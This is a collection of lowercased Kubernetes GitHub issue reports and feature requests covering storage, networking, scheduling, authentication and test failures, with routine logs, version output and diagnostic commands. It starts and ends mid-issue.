volumes:  storageos volume ls \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.14.0 and later\r - cloud provider or hardware configuration: any\r - os  e.g:  cat /etc/os-release  : any linux  incl. ubuntu 18.04 \r - kernel  e.g.  uname -a  : any linux  incl. 4.15.0-33-generic \r - install tools: any  incl. minikube \r - network plugin and version  if this is a network-related bug : n/a\r - others: requires storageos deployment\r \r  /assign

in order to enable the aci signature verification in rkt, we need to provide the rkt runtime a list of trusted public keys. i am thinking maybe we can do this during the creation of the runtime?  for example, provide a flag to specify a  trusted_keys.json  file, which looks like:      {     {         \ prefix\ : \ coreos.com/etcd\ ,         \ pubkey\ :\ pubkey_string\ ,         \ root\ : false     },     {         \ prefix\ : \ fluentd.org/fluentd\ ,         \ pubkey\ : \ pubkey_string\ ,         \ root\ : false     },     ... }      /cc @dchen1107 @vmarmol @bakins @philips

actually there is mount point for  /etc/hosts  created from kubelet in pod manifest:      ...,{ \ name\ : \ k8s-managed-etc-hosts\ , \ path\ : \ /etc/hosts },...      it seems that there is another  pr  https://github.com/coreos/rkt/pull/2251  in  rkt  project  not merge yet  that is closely related with it. so, imho we can  we get rid off from creating this part in kubelet, and add  --hostname  flag similar like in  --dns  cmd line flag in kubeletet. @yifan-gu, @iaguis

currently it's cadvisor doesn't export pod labels for container level metrics. this would be desirable to be able to aggregate container level metrics by application.  as kubernetes doesn't set pod labels on docker containers  https://github.com/kubernetes/kubernetes/pull/25301  cadvisor can't export those labels to it's  /metrics  endpoint which makes metric aggregation by pod labels impossible. kubernetes doesn't set these labels, because currently it's not possible to dynamically set docker container labels  https://github.com/docker/docker/issues/21721 . it's also not clear when this situation will change.  i propose a implementing a workaround, so that cadvisor can directly get the labels from the kublet and export them accordingly.

come up with workflow for release - requirements for release   - issues state   - automated testing state   - manual testing state - how to add / modify release requirements   - adding automated tests as release blockers - deadlines for milestones   - moving feature issues out of the release milestone   - where docs are submitted -  automated nagging around milestones

in large clusters, i'm seeing logs like this coming from route controller:\r    \r i1212 14:42:40.519542       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 1.12�s\r e1212 14:42:40.569494       7 routecontroller.go:160  could not create route ba3adfc2-c052-11e6-b5ed-42010af00002 10.162.66.0/24 for node gke-bootstrap-e2e-default-pool-0-364bdcd6-zk1z after 4.499694682s: googleapi: error 409: the resource 'projects/kubernetes-scale/global/routes/gke-bootstrap-e2e-fefde584-ba3adfc2-c052-11e6-b5ed-42010af00002' already exists, alreadyexists\r    \r \r logs from route controller for that node:\r    \r i1212 13:42:56.452677       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 3h29m54.139354633s\r e1212 13:43:00.720185       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 3h29m58.406864433s: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i1212 13:43:00.720235       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 814ns\r e1212 13:43:14.476678       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 13.756433842s: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i1212 13:43:14.476725       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 842ns\r e1212 13:43:32.920428       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 18.443697335s: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i1212 13:43:32.920467       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 901ns\r e1212 13:43:51.372235       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 18.451756984s: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i1212 13:43:51.372297       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 1.427µs\r e1212 13:44:09.820327       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 18.448025081s: googleapi: error 403: rate limit exceeded, ratelimitexceeded\r i1212 14:12:06.575010       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 16m50.053648786s\r e1212 14:42:32.819634       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 47m16.298282706s: timed out waiting for the condition\r i1212 14:42:32.819677       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 704ns\r e1212 14:42:36.019676       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 3.199994286s: googleapi: error 409: the resource 'projects/kubernetes-scale/global/routes/gke-bootstrap-e2e-fefde584-2f7b57ea-c053-11e6-b5ed-42010af00002' already exists, alreadyexists\r i1212 14:42:36.019734       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 1.127µs\r e1212 14:42:40.519477       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 4.499737195s: googleapi: error 409: the resource 'projects/kubernetes-scale/global/routes/gke-bootstrap-e2e-fefde584-2f7b57ea-c053-11e6-b5ed-42010af00002' already exists, alreadyexists\r i1212 14:42:40.519542       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 1.12µs\r e1212 14:42:44.573306       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 4.053757227s: googleapi: error 409: the resource 'projects/kubernetes-scale/global/routes/gke-bootstrap-e2e-fefde584-2f7b57ea-c053-11e6-b5ed-42010af00002' already exists, alreadyexists\r i1212 14:42:44.573369       7 routecontroller.go:154  creating route for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 10.169.95.0/24 with hint 2f7b57ea-c053-11e6-b5ed-42010af00002, throttled 1.089µs\r e1212 14:42:48.070154       7 routecontroller.go:160  could not create route 2f7b57ea-c053-11e6-b5ed-42010af00002 10.169.95.0/24 for node gke-bootstrap-e2e-default-pool-3-e6254107-2ry4 after 3.496780157s: googleapi: error 409: the resource 'projects/kubernetes-scale/global/routes/gke-bootstrap-e2e-fefde584-2f7b57ea-c053-11e6-b5ed-42010af00002' already exists, alreadyexists\r    \r

field selector for events is named  source  even though it points to  source.component : https://github.com/kubernetes/kubernetes/blob/master/pkg/registry/core/event/strategy.go l104\r \r i have no idea if this have any semantic consequences, but certainly is misleading and should be fixed.\r \r cc @lavalamp @smarterclayton @kubernetes/sig-api-machinery-misc

\r https://github.com/kubernetes/kubernetes/issues/28750 describes the problem for a much older kubernetes version and is marked as fixed.\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r - 3 physical linux servers\r - coreos 1353.7.0  latest stable \r - 4.9.24-coreos\r - set up from scratch, custom ospf networking using cni\r - hyperkube using kubelet-wrapper\r \r \r   what happened  :\r some terminated pods are not cleaned up  staying in terminating state  for a long time  maybe indefinitely?  because of issues deleting secret volumes. \r \r log excerpt:\r    \r may 11 20:56:07 yellow kubelet-wrapper 7595 : e0511 20:56:07.540894    7595 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/91eabb5e-336f-11e7-927a-d43d7e00dee7-default-token-86xhs\\\   \\\ 91eabb5e-336f-11e7-927a-d43d7e00dee7\\\  \  failed. no retries permitted until 2017-05-11 20:58:07.540871959 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/secret/91eabb5e-336f-11e7-927a-d43d7e00dee7-default-token-86xhs\   volume.spec.name: \ default-token-86xhs\   pod \ 91eabb5e-336f-11e7-927a-d43d7e00dee7\   uid: \ 91eabb5e-336f-11e7-927a-d43d7e00dee7\   with: rename /var/lib/kubelet/pods/91eabb5e-336f-11e7-927a-d43d7e00dee7/volumes/kubernetes.io~secret/default-token-86xhs /var/lib/kubelet/pods/91eabb5e-336f-11e7-927a-d43d7e00dee7/volumes/kubernetes.io~secret/wrapped_default-token-86xhs.deleting~739204662: device or resource busy\r may 11 20:56:07 yellow kubelet-wrapper 7595 : e0511 20:56:07.540858    7595 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/6d50be26-3371-11e7-a5bf-74d435166e57-default-token-86xhs\\\   \\\ 6d50be26-3371-11e7-a5bf-74d435166e57\\\  \  failed. no retries permitted until 2017-05-11 20:58:07.540839041 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/secret/6d50be26-3371-11e7-a5bf-74d435166e57-default-token-86xhs\   volume.spec.name: \ default-token-86xhs\   pod \ 6d50be26-3371-11e7-a5bf-74d435166e57\   uid: \ 6d50be26-3371-11e7-a5bf-74d435166e57\   with: rename /var/lib/kubelet/pods/6d50be26-3371-11e7-a5bf-74d435166e57/volumes/kubernetes.io~secret/default-token-86xhs /var/lib/kubelet/pods/6d50be26-3371-11e7-a5bf-74d435166e57/volumes/kubernetes.io~secret/wrapped_default-token-86xhs.deleting~556013427: device or resource busy\r may 11 20:56:07 yellow kubelet-wrapper 7595 : i0511 20:56:07.540561    7595 reconciler.go:190  unmountvolume operation started for volume \ kubernetes.io/secret/91eabb5e-336f-11e7-927a-d43d7e00dee7-default-token-86xhs\   spec.name: \ default-token-86xhs\   from pod \ 91eabb5e-336f-11e7-927a-d43d7e00dee7\   uid: \ 91eabb5e-336f-11e7-927a-d43d7e00dee7\  .\r may 11 20:56:07 yellow kubelet-wrapper 7595 : i0511 20:56:07.540462    7595 reconciler.go:190  unmountvolume operation started for volume \ kubernetes.io/secret/6d50be26-3371-11e7-a5bf-74d435166e57-default-token-86xhs\   spec.name: \ default-token-86xhs\   from pod \ 6d50be26-3371-11e7-a5bf-74d435166e57\   uid: \ 6d50be26-3371-11e7-a5bf-74d435166e57\  .\r    \r \r excerpt from  mount :\r    \r tmpfs on /var/lib/kubelet/pods/91eabb5e-336f-11e7-927a-d43d7e00dee7/volumes/kubernetes.io~secret/default-token-86xhs type tmpfs  rw,relatime,seclabel \r    \r \r output from  fuser -vm :\r    \r                      user        pid access command\r /var/lib/kubelet/pods/91eabb5e-336f-11e7-927a-d43d7e00dee7/volumes/kubernetes.io~secret/default-token-86xhs:\r                      root     kernel mount /var/lib/kubelet/pods/91eabb5e-336f-11e7-927a-d43d7e00dee7/volumes/kubernetes.io~secret/default-token-86xhs\r    \r \r the reason why they're not being cleaned up is because the volume is not being unmounted before being moved to the deletion area and you can't move a directory which is a mountpoint with a rename   syscall, which is what go does internally when you call os.rename.\r \r   what you expected to happen  :\r the pods should be cleaned up.\r \r   how to reproduce it    as minimally and precisely as possible :\r happens on all three machines, so probably coreos + kubelet-wrapper should work.

this has come up a few times; right now the kubelet goes notready if the cni network isn't set up which makes the scheduler not even consider scheduling to that node, not even hostnetwork pods.\r \r i think that it's in the works to mark node problems with taints, where are we with that effort @kubernetes/sig-scheduling-misc?\r \r we should make it possible to schedule workloads on nodes that are notready   if the workload tolerates all the required taints for the specific condition  .\r this is critical for kubeadm self-hosting for example.\r \r i will add more context on this later, but starting the discussion at least here... didn't find any other issue although it may exist\r \r @kubernetes/sig-node-feature-requests @kubernetes/sig-scheduling-feature-requests @kubernetes/sig-network-feature-requests

is this a bug report or feature request?  :\r  \r   what happened  :\r when managing or using volumes with a scaleio storageclass, it is required that the secret object be created in every namespace where the storageclass will be consumed. this allows authorized non-admin k8s users, who are authorized to see secrets in his/her namespaces, to also have unauthorized access to scaleio admin credentials.\r \r   what you expected to happen  :\r i expected rbac to provide a safe way of restricting access to individual secrets. this does not seem  to be the case. there is a need to decouple the scaleio admin secret from the user namespaces that consume scaleio volumes via pv/pvc/storageclass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a secret object with scaleio credentials  a scaleio service account \r - create a k8s user account responsible for creating sio volume\r - user decides to use a storageclass that uses the scaleio provisioner\r - being that the secret needs to be in the same namespace where the pvcs reside, the user will have access to the scaleio secret which leaks scaleio credentials.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r while running k8s within hyper-v guests provided by openstack, attempting to use cinder persistent volumes fails. the openstack provider cannot retrieve the disk paths, for which reason mounting the pvs will fail.\r \r log:\r    \r nov 03 20:48:16 k8s-zrmo2y2v7d2s-minion-0.novalocal runc 4229 : w1103 20:48:16.570678    4238 openstack_volumes.go:330  failed to find device for the volumeid: \ 6df1888b-f373-41cf-b960-3786e60a28ef\ \r nov 03 20:48:16 k8s-zrmo2y2v7d2s-minion-0.novalocal runc 4229 : e1103 20:48:16.571501    4238 attacher.go:258  error: could not find attached cinder disk \ 6df1888b-f373-41cf-b960-3786e60a28ef\   path: \ \  : <nil>\r    \r \r   what you expected to happen  :\r the openstack provider should be able to locate attached pv paths when running inside hyper-v guests. \r \r   how to reproduce it  as minimally and precisely as possible   :\r - deploy k8s on openstack, having hyper-v compute nodes\r - add a storage class that uses the cinder provisioner\r - create a persistent volume claim which uses the above mentioned class\r - create a pod, requesting the previous pvc\r \r   anything else we need to know?  :\r the openstack cloud provider retrieves mounted cinder volume paths by looking in /dev/disk/by-id, expecting the disk serial ids  e.g. scsi id  to include the volume id.\r \r the issue is that not all hypervisors are able to expose this. for example, hyper-v will just preserve the original cinder volume lun scsi id  without setting the volume id . for this reason, disk path lookups will fail.\r \r in order to leverage hyper-v based openstack providers, as a fallback, we could query the metadata service, searching for disk device metadata. note that starting with nova queens, the hyper-v driver always provides disk address information through the instance metadata.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-10t10:34:42z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9+\ , gitversion:\ v1.9.0-alpha.1.2033+35e97841962dd3\ , gitcommit:\ 35e97841962dd3bdb5f8365b5ac9ecbd6341ecb1\ , gittreestate:\ clean\ , builddate:\ 2017-11-01t13:49:40z\ , goversion:\ go1.9.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration: openstack + hyper-v\r - os  e.g. from /etc/os-release : fedora 26  atomic host \r - kernel  e.g.  uname -a  : linux k8s-zrmo2y2v7d2s-minion-0.novalocal 4.13.5-200.fc26.x86_64  1 smp thu oct 5 16:53:13 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: openstack magnum\r - others:\r \r 

 \r   what happened  :\r when the kubernetes api server starts up, requests return a 401 unauthorized error for a few seconds after the api server starts. after about 5 seconds or so, requests start working again. in the api server logs, when this happens, we see this error:\r \r    \r e0703 21:19:13.231705       1 authentication.go:62  unable to authenticate the request due to an error:  invalid bearer token,  invalid bearer token, oidc: authenticator not initialized  \r    \r \r i think this is because of this commit:\r \r https://github.com/kubernetes/apiserver/commit/64c5ecc45e9252a46103abec2ddfe811ac8462bc\r \r   what you expected to happen  :\r i expected the api server to not return any responses until it's ready to authenticate requests. as it currently stands, every client of the api server needs to catch a 401 error and basically treat it the same as a \ connection refused\  error.\r \r   how to reproduce it  as minimally and precisely as possible   :\r make requests to the kube api server in a loop like:\r \r    \r while true; do sleep 0.5; date; curl -i -x get --cacert ca.pem --cert cert.pem --key key.pem https://<ip address>/api/v1/namespaces/default/pods; done\r    \r \r then restart the kube api server.\r \r   environment  :\r 1.11.0-beta.0\r

two latest test attempts timed out on namespace deletion:\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/196\r   https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/195\r \r kube-controller-manager was failing in both cases with error like:\r    \r e0820 10:10:53.015231       1 resource_quota_controller.go:430  unable to retrieve the complete list of server apis: metrics.k8s.io/v1beta1: the server is currently unable to handle the request\r    \r \r according to gce-scale-cluster-minion-heapster kubelet logs, metrics-server-v0.2.1 is constantly failing:\r    \r e0820 09:07:04.111229 1995 pod_workers.go:186  error syncing pod 1049f64c-a450-11e8-a868-42010a280002  \ metrics-server-v0.2.1-876bfff9c-xdxss_kube-system 1049f64c-a450-11e8-a868-42010a280002 \  , skipping: failed to \ startcontainer\  for \ metrics-server\  with crashloopbackoff: \ back-off 5m0s restarting failed container=metrics-server pod=metrics-server-v0.2.1-876bfff9c-xdxss_kube-system 1049f64c-a450-11e8-a868-42010a280002 \ \r    \r \r in fact all pods on -heapster vm are constantly failing  kube-dns and kubernetes-dashboard  which suggests problems with vm itself.\r \r  /cc @shyamjvs \r /assign

the link between a service and its endpoints object is very weak  same name .  it might be interesting in v2 api to manifest this as a subresource of service.  we will one day need to paginate endpoints, but i think that still applies in both cases.  not sure if watch on sub-resources would work, but we could still have an endpoints object, and carry the subresource as a reference to a more randomly named endpoints  or a list of them when paginated, or a selector .  also we can have endpoints on other objects without silly name collisions.

for reference: for work in  27204 which is introducing pod level cgroups into kubernetes. as a part of which we create cgroups for each pod and each of the pod's containers are brought under its pod cgroup.   we need to cleanup the pod's cgroup once the pod is terminated.  but we need to be careful about how we delete the cgroup.   some points to consider:  - once the pod is terminated we can reduce it's cgroup's cpushares to ensure that it doesn't take up significant cpu resources. - we cannot  set memory limit to  0   as there might be anonymous pages  tmpfs  that cannot be swapped out. - hence for memory, we need to ensure that all the pages are reclaimed before deleting the pod's cgroups, otherwise they would be simply moved to its parent cgroup which is highly undesirable and causes system memory pressure. - we should delete the pod's cgroup only after the pod's volumes have been cleaned up because of the same reason as above. - we need to ensure that no processes are attached to the cgroup. if any processes are found, they must be killed in-order to be able to delete the cgroup.   on @vishh suggestions we were able to come up with the following logic for destroying pod cgroups. 1. once the pod is terminated we reduce it's cgroup's cpushares to 2 the lowest possible value . 2. once a pod's volumes have been successfully cleaned up we spawn a separate go routine to destroy all the unwanted pod's cgroups. 3. the go routine is per pod cgroup and will run until the cgroups are successfully deleted. 4. as part of the goroutine we would attempt the following steps.    - sigkill all the processes attached to cgroup. we repeatedly attempt killing the processes until success. if unsuccessful for 10 iterations we start logging failure messages and generate events.    - use cgroup's memory.force_empty interface to force the kernel to reclaim all pages. 5. we repeatedly reduce the cgroups memory usage until it falls below a small threshold 0.1 mb seems to be a reasonable value . 6. in each iteration, if the current memory usage is x bytes we first limit the cgroup memory usage by writing x to memory.limit_in_bytes, then we write 0 to memory.force_empty to further reduce the memory usage, and we continually do this until the memory usage falls below the threshold.  thanks to @vishh for the suggestions. this should provide a really safe method of deleting cgroups.  to implement this we would first need to add support for force_empty in libcontainer as it currently doesn't support force empty.   once we finalize the logic here i would be adding this note to the  proposal  https://github.com/kubernetes/kubernetes/blob/master/docs/proposals/pod-resource-management.md . @derekwaynecarr @random-liu @vishh ptal. please cc anyone else who can provide feedback.  cc @kubernetes/sig-node

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/794/  failed:  k8s.io  statefulset  k8s.io  basic statefulset functionality should provide basic identity {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:148 expected error:     < errors.errorstring | 0xc4209a4fa0>: {         s: \ unexpected hostname    and stateful pod name  pet-2  not equal\ ,     }     unexpected hostname    and stateful pod name  pet-2  not equal not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/petset.go:1073       previous issues for this test:  37361

as reported by @crassirostris @gmarek \r \r i believe something in  kube::build::run_build_command_ex    is incompatible with e2e.go's  finishrunning    command. this winds up calling the following command which never completes:\r \r    \r 31501 pts/37   tl     0:00 docker run --name=kube-build-6f660550d5-4-v1.7.4-1 --user=108204:5000 --hostname=fejta1.sea.corp.google.com --volumes-from kube-build-data-6f660550d5-4-v1.7.4-1 --env kube_fastbuild=true --env kube_builder_os=linux-gnu --env kube_build_ppc64le=n --env kube_verbose=1 --interactive --tty kube-build:build-6f660550d5-4-v1.7.4-1 make cross\r    \r \r https://github.com/kubernetes/kubernetes/blob/master/build/common.sh l560\r \r this caused us problems with hanging in the past: https://github.com/kubernetes/test-infra/pull/688 discussion_r82313416\r \r can we remove the  --interactive --tty  option?\r

user report:  45487\r \r podsandbox  a.k.a infra container  is considered an implementation detail in dockershim. kubelet is not aware of what the sandbox is and cannot pass the right credentials through cri to dockershim.\r since we allow users to specify the pod infra container image to use, dockershim should  get the credentials from the docker config  config.json or the legacy dockercfg file  for pulling images from a private registry. this way, users can populate the config files on their node for pulling the sandbox images.\r \r /cc @random-liu @feiskyer \r

this causes the admissionregistration group missing in the discovery documents.\r \r  \r cc @deads2k @sttts

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : bug report\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  : when using ipv6 addresses, the kubelet passes the address to client-go, which does not correctly format the address for use in api requests.  for example:\r \r failed to list  v1.pod: get https://2001:129::136:6443/api/v1/pods?fieldselector=spec.nodename%3dnode136&resourceversi\r on=0: dial tcp: too many colons in address 2001:129::136:6443\r \r   what you expected to happen  : the uri should have https:// 2001:129::136 :6443, so that splithostport   will correctly be able to separate the host and port components.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create cluster using ipv6 address  e.g. kubeadm init --apiserver-advertise-address=2001:129::136 . when the kubelet starts up, it'll log this error.\r \r   anything else we need to know?  :\r this is being handled as part of effort to support ipv6 in kubernetes. was found by a co-worker, i'll work on a commit to fix.\r \r   environment  :\r - kubernetes version  use  kubectl version  : using latest, via kubeadm\r - cloud provider or hardware configuration  : bare-metal\r - os  e.g. from /etc/os-release : ubuntu 16.04 \r - kernel  e.g.  uname -a  : 4.4.0-81-generic\r - install tools: using kubeadm\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i set up the network policy according to https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ with network v1 policy, but it is not working.\r \r   what you expected to happen  :\r the pod should be isolated by network policy.\r \r   how to reproduce it  as minimally and precisely as possible   :\r calicoctl version:\r \r    \r root@k8s001:~/cases  calicoctl version\r version:      v1.0.0\r build date:   2016-12-15t06:04:02+0000\r git commit:   f0309e2\r    \r \r calico node version:\r    \r calico/node:v1.0.0\r    \r \r calico controller:\r    \r calico/kube-policy-controller:v0.5.1\r    \r \r caclio nodes:\r    \r root@k8s001:~  calicoctl get nodes\r name\r k8s001\r k8s004\r    \r \r calico node status on k8s001 which is master and worker node:\r    \r root@k8s001:~  calicoctl node status\r calico process is running.\r \r ipv4 bgp status\r +---------------+-------------------+-------+----------+-------------+\r | peer address  |     peer type     | state |  since   |    info     |\r +---------------+-------------------+-------+----------+-------------+\r | 192.168.56.14 | node-to-node mesh | up    | 09:39:17 | established |\r +---------------+-------------------+-------+----------+-------------+\r \r ipv6 bgp status\r no ipv6 peers found.\r    \r \r calico node status on k8s004 which is worker node:\r    \r root@k8s004:~  calicoctl node status\r calico process is running.\r \r ipv4 bgp status\r +---------------+-------------------+-------+----------+-------------+\r | peer address  |     peer type     | state |  since   |    info     |\r +---------------+-------------------+-------+----------+-------------+\r | 192.168.56.11 | node-to-node mesh | up    | 09:39:17 | established |\r +---------------+-------------------+-------+----------+-------------+\r \r ipv6 bgp status\r no ipv6 peers found.\r    \r \r cluster status:\r    \r root@k8s001:~  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.685+950a09d982286a\ , gitcommit:\ 950a09d982286a32a045f956d91680e0defd71dd\ , gittreestate:\ clean\ , builddate:\ 2017-07-02t11:23:13z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.1.685+950a09d982286a\ , gitcommit:\ 950a09d982286a32a045f956d91680e0defd71dd\ , gittreestate:\ clean\ , builddate:\ 2017-07-02t11:23:13z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r root@k8s001:~  kubectl get nodes --show-labels\r name      status    age       version                             labels\r k8s001    ready     54m       v1.8.0-alpha.1.685+950a09d982286a   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=k8s001\r k8s004    ready     16m       v1.8.0-alpha.1.685+950a09d982286a   beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,kubernetes.io/hostname=k8s004\r root@k8s001:~  kubectl get pods --namespace=kube-system -owide\r name                                        ready     status    restarts   age       ip              node\r calico-policy-controller-2862571771-50kzl   1/1       running   0          54m       192.168.56.11   k8s001\r kube-dns-v20-2397184141-7hgcv               3/3       running   0          19m       192.168.191.0   k8s001\r root@k8s001:~  kubectl get pods\r no resources found.\r    \r \r start to follow https://kubernetes.io/docs/tasks/administer-cluster/declare-network-policy/ to test network policy:\r \r    \r root@k8s001:~  kubectl run nginx --image=nginx --replicas=2\r deployment \ nginx\  created\r root@k8s001:~/cases  kubectl expose deployment nginx --port=80\r service \ nginx\  exposed\r root@k8s001:~  kubectl get pods -owide\r name                    ready     status    restarts   age       ip                node\r nginx-374391258-0ljg4   1/1       running   0          1m        192.168.191.4     k8s001\r nginx-374391258-qmzj4   1/1       running   0          1m        192.168.124.131   k8s004\r root@k8s001:~  kubectl get svc,pod\r name             type        cluster-ip      external-ip   port s    age\r svc/kubernetes   clusterip   10.254.0.1      <none>        443/tcp   59m\r svc/nginx        clusterip   10.254.24.218   <none>        80/tcp    14m\r \r name                       ready     status    restarts   age\r po/nginx-374391258-0ljg4   1/1       running   0          1m\r po/nginx-374391258-qmzj4   1/1       running   0          1m\r    \r \r create a network policy.\r    \r root@k8s001:~/cases/network-policy  cat ns.yaml\r kind: networkpolicy\r apiversion: networking.k8s.io/v1\r metadata:\r   name: access-nginx\r spec:\r   podselector:\r     matchlabels:\r       run: nginx\r   ingress:\r   - from:\r     - podselector:\r         matchlabels:\r           access: \ true\ \r    \r \r    \r root@k8s001:~/cases/network-policy  kubectl create -f ./ns.yaml\r networkpolicy \ access-nginx\  created\r root@k8s001:~/cases/network-policy  kubectl get networkpolicies\r name           pod-selector   age\r access-nginx   run=nginx      8s\r    \r \r create a pod without correct labels, still works:\r    \r root@k8s001:~/cases/network-policy  kubectl run busybox --rm -ti --image=busybox /bin/sh\r if you don't see a command prompt, try pressing enter.\r /   wget --spider --timeout=1 nginx\r connecting to 